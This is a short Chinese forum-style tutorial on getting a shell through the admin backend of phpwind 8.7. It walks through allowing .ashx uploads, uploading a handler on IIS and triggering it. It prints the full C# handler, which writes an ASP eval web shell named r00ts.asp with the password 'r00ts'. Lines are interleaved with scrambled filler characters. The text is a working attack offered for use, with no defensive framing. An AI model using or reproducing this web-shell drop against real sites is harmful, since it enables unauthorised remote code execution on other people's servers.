phpwind 8.7 后台拿shell

admin

首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小
# E' g; \6 t+ H
群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx

9 y$ L$ Y- J; H+ Z$ P* n0 ]发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整

; _% Y& B( s' w4 p2 [然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx

" T0 y# q+ S/ U5 }1 h/ @$ _打开之后空白 会在目录底下生成r00ts.asp 密码r00ts
: e# ]" B" W% A  e
下面是代码:

8 d/ r: ?( K; ]9 q" q) ^4 w<%@ WebHandler Language="C#"Class="Handler" %>
using System;
using System.Web;
' ?2 W$ c/ I: a9 E* c9 ?; zusing System.IO;
2 ~1 V  C# B/ ^- k; |public class Handler : IHttpHandler {
public void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";
& F# m# A6 v1 PStreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));
* ^' ~! G- {( H3 M. G5 nfile1.Write("<%eval request(\"r00ts\")%>");
file1.Flush();
file1.Close();
# P2 l# `8 v2 V* P* }3 q}
public bool IsReusable {
get {
return false;
3 @( B' T+ X- e4 n6 Z: z% L$ z3 Y}
}
}